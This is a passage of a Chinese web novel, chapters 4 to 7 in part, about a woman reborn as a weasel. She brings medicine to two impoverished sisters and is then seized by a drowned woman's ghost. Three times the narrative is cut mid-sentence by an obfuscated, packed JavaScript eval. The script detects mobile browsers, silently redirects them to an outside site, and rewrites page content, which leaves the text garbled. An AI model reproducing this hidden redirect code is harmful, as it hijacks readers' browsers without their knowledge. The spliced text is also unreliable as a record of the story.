她叼着药顶开一条门缝走了进去,门轻吱一声就戛然而止,她转头再把门顶上,免得有什么东西趁自己不注意溜进来了。 走到床边,把药放在了两个小孩子的鞋旁,确保她们只要起床就能看见,然后就坐在一旁,歇起了气。 一趟来回,她跑的距离可不短,速度也不慢,尤其是回来的时候,算得上是一路冲刺了,确实把她给累到了。 她听到自己的心脏在怦怦地跳动着,频率比起做人的时候快了不知多少。因为在村外歇了会儿,现在身上倒是没先前那么热了,心跳也在慢慢地平复下来,于是沾满了腹部和四肢的泥浆存在感就越发明显了,泥巴混着冰冷的水,裹在她的毛和皮肤上,湿冷湿冷的,而且随着她体温的恢复,冷意越来越明显。 腹部还传来一下又一下的痛意,一身的泥腥味中也掺杂了一丝血腥气,不用看都知道,肯定是伤口撕裂了。 许芝站了起来,这样下去肯定是不行的,得尽快把她身上的泥浆洗掉,不然她这一身皮毛根本没办法恢复保温的能力,伤口也不能这么被泥巴给捂着,谁知道泥巴里有些什么东西,感染了怎么办? 况且韩玥也等不了。 没药的时候不能不等,现在既然有药了,就该快点喝药才是,烧一个晚上,万一把脑子烧坏了就不好了。 她看了看床的方向,只看到了一个隆起的小包,一动不动,呼吸均匀,睡得正熟。 她忍着痛爬上了桌子,看向床上,黑暗中,两个小孩儿的姿势已经变了,韩玥估计是烧热了,打翻了被子,韩瑛一只手揽着她,于是身上的被子也给掀开了一半,小姑娘应该是感觉到冷了,也不知道伸手把被子扯过来盖上,只搂着小女童紧紧地蜷缩起来。 许芝把尖利的爪子伸了出来,在桌面上抓挠了起来,黑暗中响起了噗噗噗的声响,清晰无比,可惜睡着的小姑娘一动不动,半点没有受到影响。 许芝无奈,爬下了桌子,来到门边,前爪抬起把住门摇晃起来,门便嘎吱嘎吱地叫唤了起来,这声音真的不小了,还尖锐,村子里的狗都跟着汪汪了两声,可转头看向床上,两个小孩儿还是没有动弹。 许芝:“……” 小孩儿的瞌睡是大啊,这样了都还不醒。 实在是没办法了,她只好走到了床边,爬上了床,看看熟睡的小姑娘,埋头对着她拱了起来。 小姑娘是很可怜,但有些事情是耽搁不得的。 …… 韩瑛梦到自己坐在了背篓里,她好像变小了,有人背着她轻轻地晃来晃去,于是她的身子就跟着摇晃起来,口中忍不住发出了欢快的笑声。 前头的人转过了头来,问:“瑛儿,好玩吗?” 韩瑛看着那人,开心地说:“好玩,阿娘,好好玩!” 可说着说着,心里不知为何就涌出了好多委屈,她哭了起来,说:“阿娘,你去哪里了?我好想你啊!” 背着她的女人还是晃着她,说:“阿娘没去哪里,就在这里呀。” 韩瑛心里更委屈了,“你骗人,你明明就……就不见了,我好久都没有见到你了!” 她想说出阿娘去了哪里,她记得自己是知道的,可不知为何突然就想不起来了。 她哭着说:“阿娘,你什么时候回来啊?小妹病了,病得好重好重,她的嗓子疼,我去山上给她寻了五皮风来煮水喝,可是没用,小妹病得更厉害了,晚上还发起了热,呜呜呜——” “阿爹不见了,家里的钱也不见了,二叔、二叔不肯借钱,洪大娘借了我一个鸡子,说她们家也没那么多钱。” “阿娘,你快回来救救小妹啊!” 女人还是晃着她,却没有再说话了,韩瑛眼泪汪汪地看着她,发现阿娘好像也在哭着,她想说阿娘不要哭,伸出了手想要给阿娘擦掉眼泪,眼前却陡然黑了下来,她惊慌大喊着:“阿娘阿娘!” 巨大的恐慌中,韩瑛醒了,她听到了自己的心跳,怦怦怦,像是鼓声一样。 她睁开了眼睛,张张嘴巴想要喊阿娘,却发现眼前一片黑暗,半点光亮都没有,耳边安静极了。 她一下子想起来了,是了,她在家里,在床上,在睡觉,阿娘,阿娘已经不在了。 她……只是做了个梦。 梦里的眼泪跟到了梦外,一滴滴地涌出眼眶,又在摇晃中胡乱流下,韩瑛反应了过来,梦外没有阿娘,却真有东西在推搡着她,就在她右臂的位置,一下又一下地拱着她,力道不是特别大,她低低喊了一声:“小黄狼,是你吗?” 拱着她的小东西停了下来,回应了她:“叽叽。” 韩瑛松了口气,伸手去摸小兽的脑袋,却摸了个空,只好说:“小黄狼,天还没亮,你不要闹。” 她伸手去摸了摸自己的小妹,发现小妹一身都露在外头,赶紧扯了被子给小妹盖上,又摸摸小妹的额头和脸颊,比睡前更烫了,她不安起来,小妹这么烫下去真的可以吗?可她又不知道自己还能做什么,现在天还黑着,就是想要背小妹去镇上都不行。 况且家里没有钱,便是去了镇上,郎中也不会给小妹开药的,她又想起了方才的梦,若是阿娘还在该多好啊。 她抬起袖子擦了擦眼泪,正打算躺下去,衣摆却被扯了起来,不是被什么东西挂住了,是小黄狼,扯着她的衣裳一下一下地往床边拉。 韩瑛只好重新坐起来,她什么都看不清,只能问:“小黄狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168873|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你这是怎么了?” 小兽没有回应,还在拉着她的衣裳,韩瑛有些心疼,拽着自己的衣裳说:“好了好了,我起来了,不要再咬我的衣裳了,会咬坏的!” 衣裳终于被松开了,韩瑛心疼地摸了摸,这衣裳还是阿娘给她做的呢,若是坏了,再没有阿娘给她补了。 把衣摆仔仔细细地摸了摸,确认还是好好的,她这才放了手,抬头就看到了一双发着亮的圆眼睛,把她吓了一跳,很快反应过来,这是小黄狼,于是就不怕了。 双手撑着身子往床边挪了挪,伸手去摸桌子上的火折子和油灯,只是手才放上去,就摸到了一手的湿冷,她惊叫一声:“什么东西?” 湿冷湿冷,还滑腻腻的,韩瑛浑身都不敢动了,低声喊:“蛇,小黄狼,是蛇吗?” 黑暗中,眼睛发着光的小黄狼从她身边走过,发出轻轻的砰声后,亮亮的眼睛出现在了桌子的位置,韩瑛心中惊魂未定,但还是明白了:“没……没有蛇吗?” “叽叽。” 韩瑛咽咽唾沫,还是有些害怕,再问:“真的没有吗?” “叽叽!” 黑暗中,她眨了眨眼睛,有些茫然,不知是不是自己的错觉,怎么觉得小黄狼的叫声好像有些不耐。 她鼓起勇气,试探着把手再次伸向了桌子,因为看得到小黄狼就在桌子上,所以心里的恐惧去了不少,如果真的有蛇,小黄狼肯定会把蛇赶跑的。 她记得阿娘说过,黄狼最是凶猛,看着小小的,山上那些蛇却都打不过它。 手重新落在了桌上,她原本还在小心试探着,一颗毛茸茸的小脑袋把什么东西顶到了她手边,她一摸,正是火折子,赶紧抓在手中,将盖子拔掉,一团小火苗就这么亮了起来。 屋子里总算不是黑得什么都看不见了,韩瑛松了口气,举着火折子看向桌子,小黄狼果然就站在桌子上,一双眼睛更亮了,它身前就是油灯,旁边是昨晚装粥的碗,倒是没见到其他会动的活物,更没有蛇。 韩瑛伸手把油灯拿到了手中,点亮油灯,熄了火折子,随着油灯亮起,屋子里比起刚才又亮了些,虽不比白日,但终究是能将屋子看个大概了。 她赶紧看向自己的右手,指头上多出了块深色的东西,捻一捻,湿滑湿滑的,凑近了油灯看,可算是认出来了,低声说:“这是……泥。” 她举着油灯看向桌子,看到桌面上多出了一道道深色的痕迹,看着湿漉漉的,像是才被弄上去。顺着这些泥痕,她看到了站在一边的黄毛小兽,发现它也正看着自己,一颗脑袋倒是毛茸茸的,只是脑袋往下的毛一撮一撮地聚在了一起,炸呼呼地东倒西歪着,跟头上的毛都不是一个颜色了! 韩瑛睁大了眼睛,还没开口,黄毛小兽就动了,从桌子上一跃而下,一声轻响,桌子上就又多出了四道泥痕。 她突然想起了什么,举着油灯去看自己身边的床,昏暗的灯光下,果然看到了一个一个的泥爪印,伸手一摸,还湿着呢! 她呆住了,这时床下传来了悉索的声音,韩瑛抿了抿唇,有些生气地看过去,就看到脏兮兮的小黄狼正拨弄着一个同样脏兮兮的东西。 那东西上也裹满了泥,不算特别大,长长的、方方的,看着就像……就像…… 韩瑛飞快地下了床,鞋子都顾不上穿,也不怕泥巴脏手,蹲在床边伸手就把脏兮兮的东西捡了起来,抖着手打开一包,一股药味扑面而来,她看看手中沾满了泥的药包,又看看浑身是泥的小黄狼,彻底呆住了。 5. 第 5 章 天穹是密不透风的黑,好像一丝光亮都透不下来,在这无边的夜色中,一个不起眼的农家小院里,橘色的火光亮起,带来了一丝亮色。 韩瑛蹲在厨房里,手里拿着扇子把炉子里的火扇旺了些,火光跃动,舔舐着黑黢黢的陶锅,也将周遭的黑暗驱散。 陶锅没有加盖,橘色的火光下,能看到里头的东西在沸腾着,发出噗噜噗噜的声响,同时一股浓郁的气味从锅中弥散开来。 看着、闻着,韩瑛就跟着恍惚了起来,即便东西就在眼前,已经放入锅中开始熬煮了,她依然不太敢相信眼前的这一幕,自己竟然真的有药了! 这可是药! 是一副就要几十文,几副便要几百文的药! 是这几日,她想尽了办法,都借不来钱买不到的药! 是能救小妹的药! 现在就这么出现在了她眼前,被她放入了家里的陶锅,噗噜噗噜地熬煮了起来。 药香扑面,一个劲儿地钻入她的鼻中,她忍不住吸了一口又一口,甚至想要去把小妹唤醒,一起来闻,不过她还是忍耐住了,反正这些药熬出来是要全部给小妹喝下去的,也不差这点药香了。 她自己却是伸着脖子,力求吸走每一口药香,免得浪费,这里的药一看就是郎中配好的,跟她在山上拔了晒干的草药全然不同,是很贵的。 吸气呼气,整个胸腔好像都被药香给填满了,她渐渐感受到了些实在的满足,看着药汁的颜色越来越深,眼中的期待也更多了。 虽然不知道这是治什么的药,可里面这么多的药材,总有那么几样是对小妹有用的吧,小妹喝了,总能好些吧。 耳边传来悉索的动静,她扭头看去,看到了一只黄毛小兽,原本躺在她脚边,此刻撑着起来掉了个头,把后半截肚子对准炉子,烤了起来。 看到它腿上、肚子上的泥浆,炉中的热意仿佛染了眼睛,韩瑛吸了吸鼻子,把手放到了闭目休憩的小兽头上,小兽的耳朵动了动,睁开一只眼睛看了她一眼,她说:“小黄狼,谢谢你!” 药,当然是不可能凭空出现的,若能,小妹病了三日,药早就该出现了,也不会眼看着病得越来越重,甚至发起了热,都无药可用。 她知道,今晚的药是小黄狼从外头带回来的,所以小黄狼才会一身都是泥水,所以药包上才会糊满了泥巴,所以小黄狼才会在半夜把她叫起来,是为了让她赶快熬药给小妹吃啊。 这样的事情若说给别人听,一定没人相信,可韩瑛心里很肯定,药就是小黄狼带回来的! 因为她养的小黄狼很聪明! 它知道自己把它带回家是为了救它,所以从来没有偷跑过;它知道自己给它敷的是药,所以会好好护着肚子上的草药,不让药落下来;它知道蒲公草煮的水喝了对它有好处,所以总是会把她煮好的水喝光;它甚至会跑到外头去尿尿,不像二叔家的猫,因在家中乱尿,韩瑛都听二婶骂过它好多次了。 韩瑛从未见过这样聪明的小生灵。 手心里的小脑袋动了动,韩瑛看向它,见它在地上蹭来蹭去,似乎很不舒服的样子,她看着它黑溜溜的眼睛,轻声说:“小黄狼,我知道你不舒服,你放心,等小妹的药熬好了,我就烧水帮你把身上的泥巴都洗掉。” 那双黑溜溜的眼睛也看着她,好像听懂了她在说什么,立刻就不蹭了,躺在地上,闭着眼睛,睡了起来。 韩瑛把手收了回来,揣在了胸前,满足地看着它,好像怎么都看不够一样。 而被她看着的许芝则大大地松了口气,总算是成功了,也不枉她拖着一身泥巴在小姑娘跟前转来转去,她容易么! 天知道她现在有多累,要不是泥巴糊在身上太难受,要不是一身湿漉漉的太冷,要不是她担心伤口被泥巴糊一晚上会感染,她早就睡了! 药都拿回来了,熬药她又帮不上忙,杵在这里,除了当个吉祥物,还能起到什么作用? 好在这小姑娘还有点眼力见,没让她暗示太久就反应了过来,否则,她睡不着,韩瑛自然也别想睡了。 火光跳动,发出噼啪的声响,映得眼皮红彤彤的,许芝放慢了呼吸,她听到陶锅里传来咕噜咕噜的声响,空气中的药味也越来越浓郁,门外有风吹了进来,凉飕飕的,待会儿洗了澡睡觉的时候可得把门关上,虽然她现在有毛,但也经不起风这么吹。 也不知道伤口怎么样了,希望别感染了,她现在这个小身板,浑身上下连骨头带皮加起来都不知道有没有一斤,可扛不起什么病。 老神在在地东想西想着,没一会儿,蹲在她旁边的小姑娘突然动了,先是起身搅了搅锅里的药材,又走到了灶台边,再回来,把陶锅端起来,许芝听到了她抽气的声音,怕不是被水汽给烫到了,掀开眼皮看了眼,就见到小姑娘正把陶锅里的药都倒入地上的一个大碗里。 还好这陶锅不算太大,不然就韩瑛这小身板,估计端起来都够呛。 看看她的手,没什么颜色变化,应该没被烫到。 药倒出来,小姑娘又把陶锅放回了炉子上,往里加了清水,许芝把另一只眼睛也睁开了,知道这是在给自己烧洗澡水了。 唯一遗憾的是这个锅这么小,也不知道烧几锅才够她把一身都洗干净。 很快,许芝就知道了答案,六锅。 厨房外,屋檐下,她看着眼前的木盆,容量实在算不上大,三锅烧好的水倒进去,就有大半盆了,再冲些冷水降温,水跟着就满了。 要知道那陶锅本来就小,许芝估计也就比她上辈子见过的砂锅大上一些。 小姑娘期待地看着她,拍了拍水面,热水迸溅,说:“小黄狼,快来洗洗!” 许芝抬爪走了过去,用爪子探了探水温,不冷也不烫,很好,她抬头看向了小姑娘,小姑娘也看着她,眨眨眼睛说:“小黄狼,进来呀,是水太烫了吗?” 说着伸手在水里搅了搅,说:“不烫呀。” 许芝看看她手边,空空如也,一个盛水的东西都没有,不先把她身上的泥巴冲掉吗? 她足下一转,打算领着小姑娘去厨房拿点东西出来,还没走出去,一只手从天而降,把她给捞了起来,下一刻,她就落入了水中,温热的水将她浑身包裹,湿黏冰冷的感觉立刻被驱散,许芝没忍住发出了满足的叹息,低头看看被染上深色的热水,心想算了算了,进都进来了,先洗了再说吧。 体力劳动之后,泡一泡热水澡实在是难得的享受。 许芝把头以下的部位都没在了热水中,这盆虽不大,她的个头却更小,放在她上辈子,顶多算个洗脚盆,还是勉强能用的那种,现在却能把她整个都装下,做个澡盆也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168874|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在话下。 她也不去想前后两辈子的落差了,让自己一心沉浸在了这热水的抚慰中,每一丝毛发、每一寸皮肤都被热水温柔地抚摸着,真的太舒服了! 这时候,一只温热的小手落在了她的脖颈上,轻轻地一搓,被热水泡软的泥巴就融在了水中。 许芝伸直了脖子,眯着眼睛享受了起来,等搓洗得差不多了,在水里淌了淌,水立刻就黑了几个度,抬起来的时候,脖子上的毛就干净顺滑了起来,露出了本来的颜色。 脖子、腹部、后背、四肢、尾巴,甚至爪子缝,每一个地方都被揉搓到了,许芝舒服得都快睡过去了,这样的灵活,这样的舒坦,也只有人手才能做到了。 怪不得上辈子那么多人喜欢按摩,可惜她忙忙碌碌,一次都没光顾过,没想到这辈子不是人了,反倒体验上了。 浮力的作用下,她浑身的毛在水中起起伏伏,带着她的身体也晃动了起来,爪子轻轻一扒拉,就在水中动了起来。 游起泳来也比人简单多了。 一只手拍了拍她的背,小姑娘在她上方说:“好了,水已经很脏了,该换水了。” 许芝就从水里起来,毛吸满了水,沉甸甸的,拽着她还要再往水里去,她抬爪跃了出去,流下了一地的水,小姑娘哎呀了一声,许芝无辜地看了她一眼,没办法,毛吸水这事她也控制不了。 她跑到远一点的地方,再看看小姑娘,确定距离差不多了,这才浑身使劲儿,甩了起来。 身上的水就像是入了脱水桶一样,哗啦啦地飞了出去,身体立刻就轻松了起来。 这感觉太爽了!要是上辈子她有这个技能,洗了头何愁头发难干? 小姑娘喊她:“小黄狼,还要再洗一次哦。” 那是自然,许芝走到她身边,等着小姑娘又烧了两次水,攒了三锅热水出来,这次她迫不及待地走了进去,一番搓洗之后,水成了浅咖色。 洗,自然是还想洗的,可看看小姑娘,这么小一个孩子,大半夜的忙活了这么久,也该去休息了。 她也就不继续纠缠了,坐在了屋中还未熄灭的炉子前,借着热意,烤起了身上的毛。虽然身上大部分水都被甩了出去,可湿的还是湿的,要想舒舒服服地睡觉,烤干很有必要。 小姑娘坐在她身边,看着竟然还没有要去睡的意思,拿了块布,帮她擦着身上的水,一点一点的,很是细致,她擦完一面,许芝就转个身,把那面对准炉子,争取尽快把自己这一身毛给弄干。 屋子里很安静,只有火光噼啪的声响,腹部的伤没那么痛了,许芝的眼皮越来越沉,一双手把她抱了起来,她听到了悉悉索索的声音,接着她被放到了一个熟悉的东西上,软软的,睡上去刚刚好,带着熟悉的气味,是她的竹篮小床。 热意从正面源源不断传来,看来小床就放在距离炉子不算太远的地方。 这不是胡来么,万一火星溅到小床上烧起来了怎么办? 许芝想要起来,眼皮却像是黏在了一起,怎么都睁不开了,她听到小姑娘在她耳边轻声说:“知道你很累了,睡吧,我不会让猫跑进来伤你的。” 许芝的爪子抽了抽,眼看都要睡着了,突然来一句猫,要不是太累,瞌睡都差点没了。 但她终究还是陷入了黑甜乡中,实在是太困了。 6. 第 6 章 沉沉的黑暗中,许芝突然感觉到了冷,不是身上沾满了泥浆的湿冷,是一种更刺骨的冷寒,就好像有人撬开了她的骨头,在往里灌冰水一样。 只有一丝,甫一出现,穿骨击髓,许芝惊醒。 她条件反射地抽了抽自己的后腿,冷意如附骨之蛆,睁眼抬头看去,她的瞳孔一缩,这是个什么鬼东西?! 一只肿胀惨白的人手出现在她的后腿上,一下又一下地抚摸着,刺骨的寒意也随之一阵阵地进入她的身体。 许芝浑身的毛都炸了,把腿猛地一缩,翻身跃出竹篮,转头就想跑,却发现前头根本没路,她被罩在了一个大大的箩筐里。 这个箩筐她当然认识,前些日子,为了防止村中的猫趁人不注意偷跑进屋里伤了她,韩瑛就经常用这大箩筐把她罩住,这样一来,就是猫偷跑进来了,也拿她没有办法。 想来,这就是睡前韩瑛说的会护好她了,小姑娘还是靠谱的。 余光中,怪异肿胀的手因为失去了目标,在半空中顿了顿,紧接着继续朝她伸了过来,这次许芝看得更清楚了,浑身的毛也炸得更厉害了! 这手生得可怕就算了,它竟然还是直接穿透了箩筐伸进来的!如果不是她刚才就被箩筐拦住了去路,差点要以为罩着自己的这个箩筐根本不存在,而是什么虚幻的投影了。 这手究竟是什么东西?还讲不讲科学了! 许芝往旁边一跃,避开了怪手,趴在了箩筐壁上,使劲儿往旁边一压,试图把箩筐压倒,这个时候自然管不得什么猫了,就是猫现在就在外头等着,她也要出去! 却没想到之前都能压倒的箩筐此刻竟然纹丝不动,再一用力,箩筐不过微微晃了晃,她抬头往上看去,发现箩筐顶上压了个硕大的东西,很眼熟,是厨房里当凳子用的那个大木头墩子! 是了,前天有猫趁着韩瑛出门跑了进来,差点把倒扣的箩筐给掀翻了,现在压上这大木头墩子,别说是猫,就算是狗来了也别想弄开。 可问题是现在她也出不去了! 这韩瑛,办事未免也太靠谱了! 手又伸了过来,许芝飞快地爬到了箩筐顶,堪堪避开了那只手,那手抓了个空,不过顿了顿,又朝她来了! 许芝在箩筐里爬上爬下,一秒钟都不敢停下来,这箩筐内部空间实在是太小,但凡她的动作慢上一点,立马就会被抓住。 刚刚避开,肿胀的手就从身后追来,许芝转身,朝着左前方跃去,这时候,左前方的箩筐壁上突然冒出了另一只肿胀的手,许芝吓得尾巴狂甩,身子在空中一扭,险而又险地擦着手落在了地上,片刻不敢停留,赶紧往右边跑,可第一只手居然从右边来了! 许芝咬牙,抬起前爪,朝着箩筐顶一跃而上,余光扫过两侧,尾巴猛地收起,在最后一刻惊险地避开了汇合的两只手,她正要松口气,眼前一白,抬眼看去,箩筐顶部——被木头墩子压着的地方,一张肿胀得看不出原本相貌的脸就这么探了进来,眼睛肿成了一条缝,脸侧的发丝还在往下滴着水,落在了她眉心,刺骨的凉,脸上的嘴已经看不出形状了,咧开了一条缝,嘶哑阴冷的声音响起:“来,来,来。” 许芝目眦欲裂,来你个鬼啊! 她再次疯狂甩动尾巴,就要扭转身形,两道冰寒的力量却在这时突然落在了她身上,那两只手抓住她了! 许芝转头就咬,没想到竟然咬了个空! 不讲科学,这东西能抓住她,她却咬不到它! 冰寒的力道极大,根本挣脱不了,许芝大叫:“叽叽叽——!” 急促的叫声堪堪传出了厨房,被院中的夜风一吹,消散在了夜色中,没有惊起半点波澜,旁侧的屋中床上,小姑娘抱着小女童,睡得正香。 …… 天还是黑的,放眼望去,四周都是荒野,许芝在发着抖,倒不是怕,而是冷的。 此刻,她正被一个浑身肿胀的人形物抱在怀里,在这漫山遍野中行走着。 许芝没有动,也动不了,一条肿胀的手臂把她箍得死死的,她现在全身上下,除了头还能动一动之外,其他地方使不上半点力,尤其是她的尾巴,被这人形物的另一只手抓着薅,从头薅到尾,一遍又一遍。 反抗不了,她只能腹诽,毛都要都给薅光了! 当然,如果毛薅光了,她就能走,她倒巴不得自己的尾巴毛掉得更快些。 可惜,在毛掉光之前,她应该会先被冻死。 这鬼东西……这倒不是许芝在乱骂,她心中猜测这肿胀的人形物应该就是鬼了。 刚被冻醒的时候,因为突然出现的人手实在是太过惊悚,接着又在箩筐里亡命奔逃,精神高度紧张,一时间竟没有注意到,等被抓住之后,许芝才闻到了这东西身上传来似有若无的纸灰味儿,跟她赊药那个村中的纸灰味儿如出一辙。 她立刻就想起了先前在房梁上听到的林郎中母女二人的对话,村中一个叫刘大娘的妇人因眼睛不好,跌入了水塘中淹死了。 再看看这鬼东西的形容,躯体肿胀、浑身湿漉漉的,一直往外淌着水,看着正像是淹死的人,虽然看不出年纪,但她身下还围了一条带补丁的布裙,应该是个女子,想必就是那个刘大娘了。 虽然很难以置信,这世上竟然还有鬼,可这是许芝能想出来的唯一合理可能了,不然要怎么解释这东西生了一副人形,却又能视箩筐、木头墩子那样的东西于无物,双手甚至脸都能直接穿过箩筐来抓她。 而且这东西躯体肿胀到这种程度,根本不可能还活着,这种违背了科学规律的现象,许芝也只能用不科学的东西来解释了。 如果这东西真的是那村中的刘大娘,此事便说得通……说得通个鬼啊! 许芝不明白,就算是刘大娘,就算她今夜去过刘大娘所在的村子,可她根本没有靠近过刘大娘家,这东西怎么就缠上她了? 按常理来说,人死为鬼,看刘大娘这样子怕不是有什么怨气,那就该有怨报怨、有仇报仇,她不过是个小小的黄鼠狼,去村中也只是为了给两个小孩儿寻感冒药,怎么就入了这刘大娘的眼了?不是说眼神不好使吗?今晚的天黑成这个样子,她的个头又这么小,居然都能把她给盯上,这眼神哪里不好了? 就是恐怖片里,鬼也是寻人杀人,谁会盯着一个野生的黄鼠狼不放啊?请守好人和动物的界限好么! 咯咯咯,实在是太冷了,许芝的牙关也跟着颤了起来,她看向箍着自己的手臂,被一件粗布衣裳包裹着,看不出什么颜色,只看到其表面有水迹源源不断地溢出来。 一部分顺着衣袖落到了地上,滴滴答答,但并没有留下什么痕迹,另一部分则淌到了许芝的身上,眼看着也并未将她身上的毛给打湿,按理说就不该对她有影响,可事实上,她觉得这些水顺着她的毛,直接淌到了她的皮肤上,化为了冷气,密密麻麻地把她给包裹了起来。 冷,真的太冷了! 继续这么下去,她肯定会死的,得想点办法! 许芝艰难地动了动自己的脑袋,仰头看向了抱着自己的刘大娘,她的脸也在一刻不停地滴落着水,从下巴连绵不断地往下流,看着就像是人在落泪一样,明明她许芝才是该哭的那一个。 许芝张了张嘴,从喉咙里发出了叫声:“叽叽叽叽,叽叽叽叽——!” 你这个鬼,低头看清楚啊,她是黄鼠狼,不是人!不是人!! 一连串的叫声之后,那刘大娘终于有了反应,她缓缓地低下头来,露出了一张惨白可怖的脸,嘴唇扯了扯,紧绷的面皮随之而动,让人怀疑那肿胀的面皮几乎就要破裂开来,露出下头的血肉。 她松开了许芝的尾巴,就在许芝以为事情许是能有转机的时候,她抬起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168875|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,慢慢地放在了许芝的脑袋上,一下又一下地抚摸起来,重重的寒意直冲许芝的脑门,冻得她脑袋一僵,彻底倒在了肿胀的手臂上。 许芝吐出了一口气,眼睛都快直了,现在好了,连唯一能动的脑袋也动不了了。 冰寒的手还在摸着她的脑袋,似乎是觉得这里的手感比尾巴更好,抚摸的频率竟然比起尾巴更高,带来的寒气自然也更多,许芝只觉得自己脑仁都被冻得疼了起来。 她睁着眼睛,茫然地看着前头,视野中一片模糊,她才刚刚活过来,恢复记忆不过十天,身上的伤都没好全,就又要死了吗? 不是吧,她居然这么倒霉的吗? 虽说家境平平,年纪小的时候家里甚至需要节衣缩食度日,但许芝一向不觉得自己运气不好,她身体健康、四肢俱全,相貌谈不上多好看,但也没有什么极大缺陷,智力也是正常,是个再普通不过的普通人。 运气谈不上好,也谈不上不好,大多数时候,她都觉得这东西与自己无关。 可是现在,她难得地认为自己可能真的是有些倒霉了,明明已经很小心了,避开了她能想到的一切危险,可谁能想到这个地方竟然有鬼,而这鬼居然还真的就缠上了现在的她——一只小小的黄鼠狼。 真是荒唐啊,活人抓黄鼠狼就算了,多少能吃点肉,皮毛还能卖钱,一个鬼抓她干什么? 许芝想不出来,这时候,她感觉到自己身下传来了细微的痒意,好像有什么东西在拨弄她的肚子。 她转动眼珠,往下看去,视线穿过了刘大娘肿胀虚幻的手臂,看到了一丛茂盛的灌木,足足有半人高,枝繁叶茂,其顶梢的枝叶恰好从自己腹部下方扫过,带来轻微的痒意。 许芝微微睁大了眼睛,如果在平时,这一幕当然不算什么,再正常不过了,可她现在正被刘大娘抱着!要知道先前在韩家,她被刘大娘抓住之后,可是直接被刘大娘从倒扣的筐中给捞了出去,之后无论是遇到土墙、院门,甚至是树木,都不能阻拦刘大娘分毫,而被刘大娘抱着的她,好像也被同化成了鬼,穿墙穿树,没有半点被阻拦下来获救的希望。 可现在,这丛灌木竟然碰到了她! 许芝精神一振,睁大了眼睛,死死地盯着身下的灌木丛,在看到自己正前方出现了一枝明显高出其他树冠的枝叶时,她浑身紧绷了起来。 一步,又一步,距离越来越近了,许芝屏气凝神,就在枝叶触碰到她身体的那一刻,她张开了嘴巴,用尽全力咬住了灌木枝干,与此同时,肚腹上传来了一股力道,将她往前带去,她死死咬着口中的枝干,跟身上的力道对抗着,就算口腔被坚硬的树枝划破,也不肯松开分毫。 一秒、两秒、三秒……不知道过去了多久,许芝只觉得身上箍着她往前的力道越来越轻,直到某一刻,她的身体往下一坠,接着一轻,落入了灌木丛中。 她松开了嘴巴,感受到茂盛的树冠托住了自己,她微微抬起头,把口中的血腥味咽下,视线穿过了枝杈,看到肿胀的身影往前走去,渐渐变得模糊起来,笼罩着她的寒意也变得越发稀薄。 许芝松了口气,走了就好,走了就好,等她的体温恢复过来,身体不再这么僵直,就能跑了。 现在,只希望刘大娘把她给忘了,再也不要想起她了! 许芝努力地调整着自己的呼吸,黄鼠狼的呼吸频率比人高了不少,恢复起来比人更快,不过才离开刘大娘,她就感觉到自己的肢体开始复温了,照这个速度,要不了多久,她就能恢复行动能力了。 正想着,周遭的寒意再次加重,许芝抬头看去,原本离去的肿胀身影居然又回来了! 顾不得身体还僵着,她使劲儿翻身,踉跄着要逃,甚至还没从树冠滚落地面,两只冰寒的手就再次落在了她身上,将她攫住,一步步把她重新带回了冰窟窿一样的湿冷怀抱中。 7. 第 7 章 黑沉沉的大地上,一道惨白的身影在一步步缓慢地移动着,一只浑身黄毛的小兽俯卧在她怀中,气息奄奄。 许芝努力地抬了抬眼皮,看向前方,目之所及皆是荒野,草木横生,即便如此,她也再没有第二次咬住枝叶的机会了。 刘大娘都不往灌木丛里头走了。 这个鬼看着行动迟缓,一副木木呆呆的样子,没想到竟还留了点生前的脑子下来。 但其实,就算她不避开灌木,就算先前那丛灌木再次出现,许芝也已经没有力气再张口去咬了。她太冷了,冷到她虽然还能感觉到身体的存在,却根本控制不了,连动一动耳朵都难以做到,更不要说张嘴咬东西了。 她看了看天色,是鬼的话,应该会怕太阳吧,可天还是这么的黑,一点光亮都没有,明明今晚发生了这么多事情,已经过去了这么长的时间,天为什么还不亮?她真的还在人间吗?这里不会已经是传说中的地府了吧? 许芝吐了口白气,这让她心中多少生出些安慰来,至少她身体里还带着点热气,否则吐出来的气就该看不见了。 一只冰寒的手掌落在了她的身上,刘大娘又开始摸她了,一下又一下,带来了更加刺骨的寒冷,让她的意识渐渐开始模糊。 许芝在迷迷糊糊中想到,冻死在珠峰上的人,死前就是她现在的感受吗? 从头到尾,好像没有一处不是冷的,又好像都不冷了,因为已经失去了对肢体的知觉。她记得在书上看到过,说冻死的人死前会觉得暖和起来,所以会脱掉自己全身的衣服,赤身裸体地冻死在冰天雪地之中。 